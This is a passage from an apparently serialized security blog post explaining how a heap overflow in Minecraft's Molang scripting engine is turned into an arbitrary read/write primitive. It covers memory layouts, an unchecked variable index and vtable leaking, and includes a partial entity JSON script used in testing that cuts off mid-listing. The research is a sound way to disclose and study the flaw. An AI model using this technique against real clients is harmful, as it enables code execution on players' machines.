MolangScriptArg",{"type":24,"tag":33,"props":155021,"children":155022},{},[155023,155024,155030],{"type":30,"value":334},{"type":24,"tag":156,"props":155025,"children":155027},{"className":155026},[],[155028],{"type":30,"value":155029},"MolangVariable",{"type":30,"value":155031}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":24,"tag":920,"props":155033,"children":155035},{"code":155034,"language":6268,"meta":7,"className":19616,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[155036],{"type":24,"tag":156,"props":155037,"children":155038},{"__ignoreMap":7},[155039,155051,155058,155070,155083,155091,155098,155105,155117,155130,155142,155172,155180,155187,155194],{"type":24,"tag":930,"props":155040,"children":155041},{"class":932,"line":933},[155042,155046],{"type":24,"tag":930,"props":155043,"children":155044},{"style":937},[155045],{"type":30,"value":12509},{"type":24,"tag":930,"props":155047,"children":155048},{"style":959},[155049],{"type":30,"value":155050}," MolangVariable {\n",{"type":24,"tag":930,"props":155052,"children":155053},{"class":932,"line":984},[155054],{"type":24,"tag":930,"props":155055,"children":155056},{"style":959},[155057],{"type":30,"value":64873},{"type":24,"tag":930,"props":155059,"children":155060},{"class":932,"line":993},[155061,155065],{"type":24,"tag":930,"props":155062,"children":155063},{"style":937},[155064],{"type":30,"value":9165},{"type":24,"tag":930,"props":155066,"children":155067},{"style":959},[155068],{"type":30,"value":155069}," HashedString {\n",{"type":24,"tag":930,"props":155071,"children":155072},{"class":932,"line":1057},[155073,155078],{"type":24,"tag":930,"props":155074,"children":155075},{"style":937},[155076],{"type":30,"value":155077},"        uint64_t",{"type":24,"tag":930,"props":155079,"children":155080},{"style":959},[155081],{"type":30,"value":155082}," variable_name_hash;\n",{"type":24,"tag":930,"props":155084,"children":155085},{"class":932,"line":1066},[155086],{"type":24,"tag":930,"props":155087,"children":155088},{"style":959},[155089],{"type":30,"value":155090},"        std::string variable_name;\n",{"type":24,"tag":930,"props":155092,"children":155093},{"class":932,"line":1075},[155094],{"type":24,"tag":930,"props":155095,"children":155096},{"style":959},[155097],{"type":30,"value":42084},{"type":24,"tag":930,"props":155099,"children":155100},{"class":932,"line":1122},[155101],{"type":24,"tag":930,"props":155102,"children":155103},{"style":959},[155104],{"type":30,"value":64873},{"type":24,"tag":930,"props":155106,"children":155107},{"class":932,"line":1131},[155108,155112],{"type":24,"tag":930,"props":155109,"children":155110},{"style":937},[155111],{"type":30,"value":9165},{"type":24,"tag":930,"props":155113,"children":155114},{"style":959},[155115],{"type":30,"value":155116}," MolangScriptArg {\n",{"type":24,"tag":930,"props":155118,"children":155119},{"class":932,"line":1144},[155120,155125],{"type":24,"tag":930,"props":155121,"children":155122},{"style":937},[155123],{"type":30,"value":155124},"        uint32_t",{"type":24,"tag":930,"props":155126,"children":155127},{"style":959},[155128],{"type":30,"value":155129}," value_type;\n",{"type":24,"tag":930,"props":155131,"children":155132},{"class":932,"line":1169},[155133,155137],{"type":24,"tag":930,"props":155134,"children":155135},{"style":937},[155136],{"type":30,"value":155077},{"type":24,"tag":930,"props":155138,"children":155139},{"style":959},[155140],{"type":30,"value":155141}," value;\n",{"type":24,"tag":930,"props":155143,"children":155144},{"class":932,"line":1191},[155145,155150,155154,155158,155163,155167],{"type":24,"tag":930,"props":155146,"children":155147},{"style":959},[155148],{"type":30,"value":155149},"        std::vector",{"type":24,"tag":930,"props":155151,"children":155152},{"style":1158},[155153],{"type":30,"value":1350},{"type":24,"tag":930,"props":155155,"children":155156},{"style":937},[155157],{"type":30,"value":12509},{"type":24,"tag":930,"props":155159,"children":155160},{"style":959},[155161],{"type":30,"value":155162}," MolangScriptArg",{"type":24,"tag":930,"props":155164,"children":155165},{"style":1158},[155166],{"type":30,"value":2261},{"type":24,"tag":930,"props":155168,"children":155169},{"style":959},[155170],{"type":30,"value":155171}," struct_fields;\n",{"type":24,"tag":930,"props":155173,"children":155174},{"class":932,"line":1223},[155175],{"type":24,"tag":930,"props":155176,"children":155177},{"style":959},[155178],{"type":30,"value":155179},"        \n",{"type":24,"tag":930,"props":155181,"children":155182},{"class":932,"line":1281},[155183],{"type":24,"tag":930,"props":155184,"children":155185},{"style":959},[155186],{"type":30,"value":126467},{"type":24,"tag":930,"props":155188,"children":155189},{"class":932,"line":1313},[155190],{"type":24,"tag":930,"props":155191,"children":155192},{"style":959},[155193],{"type":30,"value":42084},{"type":24,"tag":930,"props":155195,"children":155196},{"class":932,"line":1335},[155197],{"type":24,"tag":930,"props":155198,"children":155199},{"style":959},[155200],{"type":30,"value":19679},{"type":24,"tag":33,"props":155202,"children":155203},{},[155204,155206,155211],{"type":30,"value":155205},"In memory a ",{"type":24,"tag":156,"props":155207,"children":155209},{"className":155208},[],[155210],{"type":30,"value":155029},{"type":30,"value":155212}," instance resembles:",{"type":24,"tag":920,"props":155214,"children":155216},{"code":155215},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[155217],{"type":24,"tag":156,"props":155218,"children":155219},{"__ignoreMap":7},[155220],{"type":30,"value":155215},{"type":24,"tag":33,"props":155222,"children":155223},{},[155224],{"type":30,"value":155225},"For reference, example debugger view of the layout:",{"type":24,"tag":33,"props":155227,"children":155228},{},[155229],{"type":24,"tag":140,"props":155230,"children":155232},{"alt":142,"src":155231},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":24,"tag":33,"props":155234,"children":155235},{},[155236],{"type":30,"value":155237},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":24,"tag":33,"props":155239,"children":155240},{},[155241,155243,155249,155251,155256,155258,155264,155266,155271,155272,155277,155279,155284,155285,155291,155292,155298],{"type":30,"value":155242},"We only care about the ",{"type":24,"tag":156,"props":155244,"children":155246},{"className":155245},[],[155247],{"type":30,"value":155248},"MolangScriptArg",{"type":30,"value":155250}," beginning at offset ",{"type":24,"tag":156,"props":155252,"children":155254},{"className":155253},[],[155255],{"type":30,"value":131346},{"type":30,"value":155257}," because it contains variable values. In the screenshot above, the ",{"type":24,"tag":156,"props":155259,"children":155261},{"className":155260},[],[155262],{"type":30,"value":155263},"value_type",{"type":30,"value":155265}," at ",{"type":24,"tag":156,"props":155267,"children":155269},{"className":155268},[],[155270],{"type":30,"value":131346},{"type":30,"value":3678},{"type":24,"tag":156,"props":155273,"children":155275},{"className":155274},[],[155276],{"type":30,"value":1818},{"type":30,"value":155278}," (meaning float), and the ",{"type":24,"tag":156,"props":155280,"children":155282},{"className":155281},[],[155283],{"type":30,"value":42239},{"type":30,"value":155265},{"type":24,"tag":156,"props":155286,"children":155288},{"className":155287},[],[155289],{"type":30,"value":155290},"0x38",{"type":30,"value":3678},{"type":24,"tag":156,"props":155293,"children":155295},{"className":155294},[],[155296],{"type":30,"value":155297},"0xbf2070c8",{"type":30,"value":436},{"type":24,"tag":33,"props":155300,"children":155301},{},[155302,155304,155310,155312,155317,155319,155324,155325,155330,155332,155337,155339,155344],{"type":30,"value":155303},"During assignment, such as ",{"type":24,"tag":156,"props":155305,"children":155307},{"className":155306},[],[155308],{"type":30,"value":155309},"variable.a = variable.b",{"type":30,"value":155311},", each field of ",{"type":24,"tag":156,"props":155313,"children":155315},{"className":155314},[],[155316],{"type":30,"value":155248},{"type":30,"value":155318}," is copied from variable ",{"type":24,"tag":156,"props":155320,"children":155322},{"className":155321},[],[155323],{"type":30,"value":6343},{"type":30,"value":681},{"type":24,"tag":156,"props":155326,"children":155328},{"className":155327},[],[155329],{"type":30,"value":37},{"type":30,"value":155331},". Interestingly, the ",{"type":24,"tag":156,"props":155333,"children":155335},{"className":155334},[],[155336],{"type":30,"value":42239},{"type":30,"value":155338}," field is always copied as a ",{"type":24,"tag":156,"props":155340,"children":155342},{"className":155341},[],[155343],{"type":30,"value":58724},{"type":30,"value":155345}," even if the type is a 32-bit float.",{"type":24,"tag":33,"props":155347,"children":155348},{},[155349,155351,155357],{"type":30,"value":155350},"Each entity stores its variables in a per-entity vector called ",{"type":24,"tag":156,"props":155352,"children":155354},{"className":155353},[],[155355],{"type":30,"value":155356},"MolangVariableMap",{"type":30,"value":436},{"type":24,"tag":21995,"props":155359,"children":155361},{"id":155360},"molangvariablemap",[155362],{"type":30,"value":155356},{"type":24,"tag":33,"props":155364,"children":155365},{},[155366,155371,155373,155379,155381,155387],{"type":24,"tag":156,"props":155367,"children":155369},{"className":155368},[],[155370],{"type":30,"value":155356},{"type":30,"value":155372}," is simply a ",{"type":24,"tag":156,"props":155374,"children":155376},{"className":155375},[],[155377],{"type":30,"value":155378},"std::vector\u003CMolangVariable *>",{"type":30,"value":155380}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":24,"tag":156,"props":155382,"children":155384},{"className":155383},[],[155385],{"type":30,"value":155386},"std::vector",{"type":30,"value":155388}," layout:",{"type":24,"tag":920,"props":155390,"children":155392},{"code":155391,"language":6268,"meta":7,"className":19616,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[155393],{"type":24,"tag":156,"props":155394,"children":155395},{"__ignoreMap":7},[155396,155408,155424,155440,155456],{"type":24,"tag":930,"props":155397,"children":155398},{"class":932,"line":933},[155399,155403],{"type":24,"tag":930,"props":155400,"children":155401},{"style":937},[155402],{"type":30,"value":12509},{"type":24,"tag":930,"props":155404,"children":155405},{"style":959},[155406],{"type":30,"value":155407}," vector {\n",{"type":24,"tag":930,"props":155409,"children":155410},{"class":932,"line":984},[155411,155415,155419],{"type":24,"tag":930,"props":155412,"children":155413},{"style":937},[155414],{"type":30,"value":19649},{"type":24,"tag":930,"props":155416,"children":155417},{"style":1158},[155418],{"type":30,"value":12924},{"type":24,"tag":930,"props":155420,"children":155421},{"style":959},[155422],{"type":30,"value":155423},"buf;\n",{"type":24,"tag":930,"props":155425,"children":155426},{"class":932,"line":993},[155427,155431,155435],{"type":24,"tag":930,"props":155428,"children":155429},{"style":937},[155430],{"type":30,"value":19649},{"type":24,"tag":930,"props":155432,"children":155433},{"style":1158},[155434],{"type":30,"value":12924},{"type":24,"tag":930,"props":155436,"children":155437},{"style":959},[155438],{"type":30,"value":155439},"len;\n",{"type":24,"tag":930,"props":155441,"children":155442},{"class":932,"line":1057},[155443,155447,155451],{"type":24,"tag":930,"props":155444,"children":155445},{"style":937},[155446],{"type":30,"value":19649},{"type":24,"tag":930,"props":155448,"children":155449},{"style":1158},[155450],{"type":30,"value":12924},{"type":24,"tag":930,"props":155452,"children":155453},{"style":959},[155454],{"type":30,"value":155455},"cap;\n",{"type":24,"tag":930,"props":155457,"children":155458},{"class":932,"line":1066},[155459],{"type":24,"tag":930,"props":155460,"children":155461},{"style":959},[155462],{"type":30,"value":19679},{"type":24,"tag":33,"props":155464,"children":155465},{},[155466,155471,155473,155478,155480,155486,155488,155493,155494,155499],{"type":24,"tag":156,"props":155467,"children":155469},{"className":155468},[],[155470],{"type":30,"value":152552},{"type":30,"value":155472}," points to the allocated array of elements, ",{"type":24,"tag":156,"props":155474,"children":155476},{"className":155475},[],[155477],{"type":30,"value":12247},{"type":30,"value":155479}," points just past the last used element, and ",{"type":24,"tag":156,"props":155481,"children":155483},{"className":155482},[],[155484],{"type":30,"value":155485},"cap",{"type":30,"value":155487}," points to the end of the allocated buffer. Notably, the types of ",{"type":24,"tag":156,"props":155489,"children":155491},{"className":155490},[],[155492],{"type":30,"value":12247},{"type":30,"value":211},{"type":24,"tag":156,"props":155495,"children":155497},{"className":155496},[],[155498],{"type":30,"value":155485},{"type":30,"value":155500}," aren't typical integer types for sizes, but both are pointers.",{"type":24,"tag":33,"props":155502,"children":155503},{},[155504],{"type":30,"value":155505},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":24,"tag":920,"props":155507,"children":155509},{"code":155508},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[155510],{"type":24,"tag":156,"props":155511,"children":155512},{"__ignoreMap":7},[155513],{"type":30,"value":155508},{"type":24,"tag":33,"props":155515,"children":155516},{},[155517,155519,155525,155527,155533],{"type":30,"value":155518},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":24,"tag":156,"props":155520,"children":155522},{"className":155521},[],[155523],{"type":30,"value":155524},"variable.result",{"type":30,"value":155526},") may differ between entities. To get around this, ",{"type":24,"tag":156,"props":155528,"children":155530},{"className":155529},[],[155531],{"type":30,"value":155532},"MolangIndexMap",{"type":30,"value":155534}," is used to map a global variable name to the correct per-entity slot.",{"type":24,"tag":21995,"props":155536,"children":155538},{"id":155537},"molangindexmap",[155539],{"type":30,"value":155532},{"type":24,"tag":33,"props":155541,"children":155542},{},[155543,155548,155550,155556,155558,155564],{"type":24,"tag":156,"props":155544,"children":155546},{"className":155545},[],[155547],{"type":30,"value":155532},{"type":30,"value":155549}," is a per-entity ",{"type":24,"tag":156,"props":155551,"children":155553},{"className":155552},[],[155554],{"type":30,"value":155555},"std::vector\u003Cuint16_t>",{"type":30,"value":155557},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":24,"tag":156,"props":155559,"children":155561},{"className":155560},[],[155562],{"type":30,"value":155563},"variable.result = 0",{"type":30,"value":155565}," it:",{"type":24,"tag":478,"props":155567,"children":155568},{},[155569,155579,155589],{"type":24,"tag":100,"props":155570,"children":155571},{},[155572,155574],{"type":30,"value":155573},"Checks the global hashmap for ",{"type":24,"tag":156,"props":155575,"children":155577},{"className":155576},[],[155578],{"type":30,"value":12191},{"type":24,"tag":100,"props":155580,"children":155581},{},[155582,155584],{"type":30,"value":155583},"If found, uses the global index to look up the per-entity index in ",{"type":24,"tag":156,"props":155585,"children":155587},{"className":155586},[],[155588],{"type":30,"value":155532},{"type":24,"tag":100,"props":155590,"children":155591},{},[155592,155594],{"type":30,"value":155593},"If not found, creates a new global entry and assigns it ",{"type":24,"tag":156,"props":155595,"children":155597},{"className":155596},[],[155598],{"type":30,"value":155599},"last_index + 1",{"type":24,"tag":33,"props":155601,"children":155602},{},[155603,155605,155610,155612,155617,155619,155624,155626,155631,155633,155638,155639,155645,155647,155652],{"type":30,"value":155604},"This means the same global index for variable ",{"type":24,"tag":156,"props":155606,"children":155608},{"className":155607},[],[155609],{"type":30,"value":12191},{"type":30,"value":155611}," maps to the same position inside every entity’s ",{"type":24,"tag":156,"props":155613,"children":155615},{"className":155614},[],[155616],{"type":30,"value":155532},{"type":30,"value":155618},", but the actual ",{"type":24,"tag":156,"props":155620,"children":155622},{"className":155621},[],[155623],{"type":30,"value":155029},{"type":30,"value":155625}," for ",{"type":24,"tag":156,"props":155627,"children":155629},{"className":155628},[],[155630],{"type":30,"value":12191},{"type":30,"value":155632}," may live at different slots inside each entity's ",{"type":24,"tag":156,"props":155634,"children":155636},{"className":155635},[],[155637],{"type":30,"value":155356},{"type":30,"value":21633},{"type":24,"tag":156,"props":155640,"children":155642},{"className":155641},[],[155643],{"type":30,"value":155644},"Entity.MolangIndexMap[global_index]",{"type":30,"value":155646}," stores the per-entity index (slot) of variable ",{"type":24,"tag":156,"props":155648,"children":155650},{"className":155649},[],[155651],{"type":30,"value":12191},{"type":30,"value":436},{"type":24,"tag":33,"props":155654,"children":155655},{},[155656,155658,155663,155665,155670,155672,155677,155679,155684,155686,155692,155694,155699],{"type":30,"value":155657},"Importantly, we found that indices in the ",{"type":24,"tag":156,"props":155659,"children":155661},{"className":155660},[],[155662],{"type":30,"value":155532},{"type":30,"value":155664}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":24,"tag":156,"props":155666,"children":155668},{"className":155667},[],[155669],{"type":30,"value":155356},{"type":30,"value":155671},". This means that if we overwrite the index of variable ",{"type":24,"tag":156,"props":155673,"children":155675},{"className":155674},[],[155676],{"type":30,"value":12191},{"type":30,"value":155678}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":24,"tag":156,"props":155680,"children":155682},{"className":155681},[],[155683],{"type":30,"value":155356},{"type":30,"value":155685},", we could read from and write to ",{"type":24,"tag":156,"props":155687,"children":155689},{"className":155688},[],[155690],{"type":30,"value":155691},"address + 0x38",{"type":30,"value":155693}," through ",{"type":24,"tag":156,"props":155695,"children":155697},{"className":155696},[],[155698],{"type":30,"value":155524},{"type":30,"value":436},{"type":24,"tag":151,"props":155701,"children":155703},{"id":155702},"building-a-molang-arbitrary-rw-primitive",[155704],{"type":30,"value":155705},"Building a Molang Arbitrary R/W Primitive",{"type":24,"tag":33,"props":155707,"children":155708},{},[155709,155711,155716,155718,155723],{"type":30,"value":155710},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":24,"tag":156,"props":155712,"children":155714},{"className":155713},[],[155715],{"type":30,"value":155386},{"type":30,"value":155717}," - specifically, of ",{"type":24,"tag":156,"props":155719,"children":155721},{"className":155720},[],[155722],{"type":30,"value":155356},{"type":30,"value":155724}," vector.",{"type":24,"tag":33,"props":155726,"children":155727},{},[155728,155730,155735,155737,155742,155743,155748,155750,155755],{"type":30,"value":155729},"Because every entity object is heap-allocated and contains a ",{"type":24,"tag":156,"props":155731,"children":155733},{"className":155732},[],[155734],{"type":30,"value":155356},{"type":30,"value":155736}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":24,"tag":156,"props":155738,"children":155740},{"className":155739},[],[155741],{"type":30,"value":152552},{"type":30,"value":58881},{"type":24,"tag":156,"props":155744,"children":155746},{"className":155745},[],[155747],{"type":30,"value":155356},{"type":30,"value":155749}," vector belonging to an entity object placed just next the ",{"type":24,"tag":156,"props":155751,"children":155753},{"className":155752},[],[155754],{"type":30,"value":155356},{"type":30,"value":155756}," allocated buffer.",{"type":24,"tag":920,"props":155758,"children":155760},{"code":155759},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[155761],{"type":24,"tag":156,"props":155762,"children":155763},{"__ignoreMap":7},[155764],{"type":30,"value":155759},{"type":24,"tag":33,"props":155766,"children":155767},{},[155768,155770,155775,155777,155783,155785,155790,155791,155797,155798,155803,155805,155810,155812,155817,155819,155824,155826,155831,155833,155838,155840,155845,155847,155853,155855,155860,155862,155867],{"type":30,"value":155769},"In the scenario above, the ",{"type":24,"tag":156,"props":155771,"children":155773},{"className":155772},[],[155774],{"type":30,"value":155532},{"type":30,"value":155776}," would map ",{"type":24,"tag":156,"props":155778,"children":155780},{"className":155779},[],[155781],{"type":30,"value":155782},"variable.a",{"type":30,"value":155784}," -> index ",{"type":24,"tag":156,"props":155786,"children":155788},{"className":155787},[],[155789],{"type":30,"value":1818},{"type":30,"value":962},{"type":24,"tag":156,"props":155792,"children":155794},{"className":155793},[],[155795],{"type":30,"value":155796},"variable.b",{"type":30,"value":155784},{"type":24,"tag":156,"props":155799,"children":155801},{"className":155800},[],[155802],{"type":30,"value":7129},{"type":30,"value":155804},", and so on. If we overwrite the index for ",{"type":24,"tag":156,"props":155806,"children":155808},{"className":155807},[],[155809],{"type":30,"value":155782},{"type":30,"value":155811}," with a value that is out-of-bounds for the ",{"type":24,"tag":156,"props":155813,"children":155815},{"className":155814},[],[155816],{"type":30,"value":155356},{"type":30,"value":155818},", it can instead index the ",{"type":24,"tag":156,"props":155820,"children":155822},{"className":155821},[],[155823],{"type":30,"value":152552},{"type":30,"value":155825}," field of the entity object above. Reading ",{"type":24,"tag":156,"props":155827,"children":155829},{"className":155828},[],[155830],{"type":30,"value":155782},{"type":30,"value":155832}," will then return the pointer stored at offset ",{"type":24,"tag":156,"props":155834,"children":155836},{"className":155835},[],[155837],{"type":30,"value":155290},{"type":30,"value":155839}," from the start of the ",{"type":24,"tag":156,"props":155841,"children":155843},{"className":155842},[],[155844],{"type":30,"value":155356},{"type":30,"value":155846}," (which in this diagram corresponds to ",{"type":24,"tag":156,"props":155848,"children":155850},{"className":155849},[],[155851],{"type":30,"value":155852},"variable.f",{"type":30,"value":155854},"), and writing to ",{"type":24,"tag":156,"props":155856,"children":155858},{"className":155857},[],[155859],{"type":30,"value":155782},{"type":30,"value":155861}," will overwrite that pointer - corrupting ",{"type":24,"tag":156,"props":155863,"children":155865},{"className":155864},[],[155866],{"type":30,"value":155852},{"type":30,"value":436},{"type":24,"tag":33,"props":155869,"children":155870},{},[155871,155873,155878,155879,155885,155887,155892,155894,155900,155902,155907,155909,155914,155916,155922,155924,155930,155932,155937],{"type":30,"value":155872},"To leak the address of the Minecraft executable we could increment ",{"type":24,"tag":156,"props":155874,"children":155876},{"className":155875},[],[155877],{"type":30,"value":155782},{"type":30,"value":1087},{"type":24,"tag":156,"props":155880,"children":155882},{"className":155881},[],[155883],{"type":30,"value":155884},"variable.a += 8",{"type":30,"value":155886},"), which advances the pointer used for ",{"type":24,"tag":156,"props":155888,"children":155890},{"className":155889},[],[155891],{"type":30,"value":155852},{"type":30,"value":155893}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":24,"tag":156,"props":155895,"children":155897},{"className":155896},[],[155898],{"type":30,"value":155899},"variable.a = variable.exe_leak + \u003Coffset>",{"type":30,"value":155901}," - this updates the ",{"type":24,"tag":156,"props":155903,"children":155905},{"className":155904},[],[155906],{"type":30,"value":155852},{"type":30,"value":155908}," pointer to our chosen address, and writing to ",{"type":24,"tag":156,"props":155910,"children":155912},{"className":155911},[],[155913],{"type":30,"value":155852},{"type":30,"value":155915},", for example ",{"type":24,"tag":156,"props":155917,"children":155919},{"className":155918},[],[155920],{"type":30,"value":155921},"variable.f = 1337",{"type":30,"value":155923},", writes the value ",{"type":24,"tag":156,"props":155925,"children":155927},{"className":155926},[],[155928],{"type":30,"value":155929},"1337",{"type":30,"value":155931}," to offset ",{"type":24,"tag":156,"props":155933,"children":155935},{"className":155934},[],[155936],{"type":30,"value":155290},{"type":30,"value":155938}," from that calculated address.",{"type":24,"tag":21995,"props":155940,"children":155942},{"id":155941},"testing-the-idea",[155943],{"type":30,"value":155944},"Testing the Idea",{"type":24,"tag":33,"props":155946,"children":155947},{},[155948,155950,155955,155957,155962,155964,155969],{"type":30,"value":155949},"We tested the idea by manually adding a pointer to the start of ",{"type":24,"tag":156,"props":155951,"children":155953},{"className":155952},[],[155954],{"type":30,"value":155356},{"type":30,"value":155956}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":24,"tag":6032,"props":155958,"children":155959},{},[155960],{"type":30,"value":155961},"almost",{"type":30,"value":155963}," worked - below is the state of the ",{"type":24,"tag":156,"props":155965,"children":155967},{"className":155966},[],[155968],{"type":30,"value":155356},{"type":30,"value":155970},"'s allocated buffer before the Molang script executes:",{"type":24,"tag":33,"props":155972,"children":155973},{},[155974],{"type":24,"tag":140,"props":155975,"children":155977},{"alt":142,"src":155976},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":24,"tag":33,"props":155979,"children":155980},{},[155981],{"type":30,"value":155982},"And this is after execution:",{"type":24,"tag":33,"props":155984,"children":155985},{},[155986],{"type":24,"tag":140,"props":155987,"children":155989},{"alt":142,"src":155988},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":24,"tag":33,"props":155991,"children":155992},{},[155993],{"type":30,"value":155994},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":24,"tag":920,"props":155996,"children":155998},{"code":155997,"language":37086,"meta":7,"className":37084,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[155999],{"type":24,"tag":156,"props":156000,"children":156001},{"__ignoreMap":7},[156002,156009,156030,156042,156054,156075,156082,156089,156096,156108,156121,156133,156145,156157,156173,156180,156192,156200,156208,156215,156222,156229],{"type":24,"tag":930,"props":156003,"children":156004},{"class":932,"line":933},[156005],{"type":24,"tag":930,"props":156006,"children":156007},{"style":959},[156008],{"type":30,"value":13987},{"type":24,"tag":930,"props":156010,"children":156011},{"class":932,"line":984},[156012,156017,156021,156026],{"type":24,"tag":930,"props":156013,"children":156014},{"style":1023},[156015],{"type":30,"value":156016},"  \"format_version\"",{"type":24,"tag":930,"props":156018,"children":156019},{"style":959},[156020],{"type":30,"value":18434},{"type":24,"tag":930,"props":156022,"children":156023},{"style":1270},[156024],{"type":30,"value":156025},"\"1.10.0\"",{"type":24,"tag":930,"props":156027,"children":156028},{"style":959},[156029],{"type":30,"value":2832},{"type":24,"tag":930,"props":156031,"children":156032},{"class":932,"line":993},[156033,156038],{"type":24,"tag":930,"props":156034,"children":156035},{"style":1023},[156036],{"type":30,"value":156037},"  \"minecraft:client_entity\"",{"type":24,"tag":930,"props":156039,"children":156040},{"style":959},[156041],{"type":30,"value":40110},{"type":24,"tag":930,"props":156043,"children":156044},{"class":932,"line":1057},[156045,156050],{"type":24,"tag":930,"props":156046,"children":156047},{"style":1023},[156048],{"type":30,"value":156049},"    \"description\"",{"type":24,"tag":930,"props":156051,"children":156052},{"style":959},[156053],{"type":30,"value":40110},{"type":24,"tag":930,"props":156055,"children":156056},{"class":932,"line":1066},[156057,156062,156066,156071],{"type":24,"tag":930,"props":156058,"children":156059},{"style":1023},[156060],{"type":30,"value":156061},"      \"identifier\"",{"type":24,"tag":930,"props":156063,"children":156064},{"style":959},[156065],{"type":30,"value":18434},{"type":24,"tag":930,"props":156067,"children":156068},{"style":1270},[156069],{"type":30,"value":156070},"\"minecraft:leash_knot\"",{"type":24,"tag":930,"props":156072,"children":156073},{"style":959},[156074],{"type":30,"value":2832},{"type":24,"tag":930,"props":156076,"children":156077},{"class":932,"line":1075},[156078],{"type":24,"tag":930,"props":156079,"children":156080},{"emptyLinePlaceholder":16},[156081],{"type":30,"value":2412},{"type":24,"tag":930,"props":156083,"children":156084},{"class":932,"line":1122},[156085],{"type":24,"tag":930,"props":156086,"children":156087},{"style":25508},[156088],{"type":30,"value":129869},{"type":24,"tag":930,"props":156090,"children":156091},{"class":932,"line":1131},[156092],{"type":24,"tag":930,"props":156093,"children":156094},{"style":959},[156095],{"type":30,"value":155179},{"type":24,"tag":930,"props":156097,"children":156098},{"class":932,"line":1144},[156099,156104],{"type":24,"tag":930,"props":156100,"children":156101},{"style":1023},[156102],{"type":30,"value":156103},"      \"scripts\"",{"type":24,"tag":930,"props":156105,"children":156106},{"style":959},[156107],{"type":30,"value":40110},{"type":24,"tag":930,"props":156109,"children":156110},{"class":932,"line":1169},[156111,156116],{"type":24,"tag":930,"props":156112,"children":156113},{"style":1023},[156114],{"type":30,"value":156115},"        \"initialize\"",{"type":24,"tag":930,"props":156117,"children":156118},{"style":959},[156119],{"type":30,"value":156120},": [\n",{"type":24,"tag":930,"props":156122,"children":156123},{"class":932,"line":1191},[156124,156129],{"type":24,"tag":930,"props":156125,"children":156126},{"style":1270},[156127],{"type":30,"value":156128},"          \"variable.a = 0;\"",{"type":24,"tag":930,"props":156130,"children":156131},{"style":959},[156132],{"type":30,"value":2832},{"type":24,"tag":930,"props":156134,"children":156135},{"class":932,"line":1223},[156136,156141],{"type":24,"tag":930,"props":156137,"children":156138},{"style":1270},[156139],{"type":30,"value":156140},"          \"variable.b = 0;\"",{"type":24,"tag":930,"props":156142,"children":156143},{"style":959},[156144],{"type":30,"value":2832},{"type":24,"tag":930,"props":156146,"children":156147},{"class":932,"line":1281},[156148,156153],{"type":24,"tag":930,"props":156149,"children":156150},{"style":1270},[156151],{"type":30,"value":156152},"          \"variable.c = 0;\"",{"type":24,"tag":930,"props":156154,"children":156155},{"style":959},[156156],{"type":30,"value":2832},{"type":24,"tag":930,"props":156158,"children":156159},{"class":932,"line":1313},[156160,156165,156169],{"type":24,"tag":930,"props":156161,"children":156162},{"style":959},[156163],{"type":30,"value":156164},"          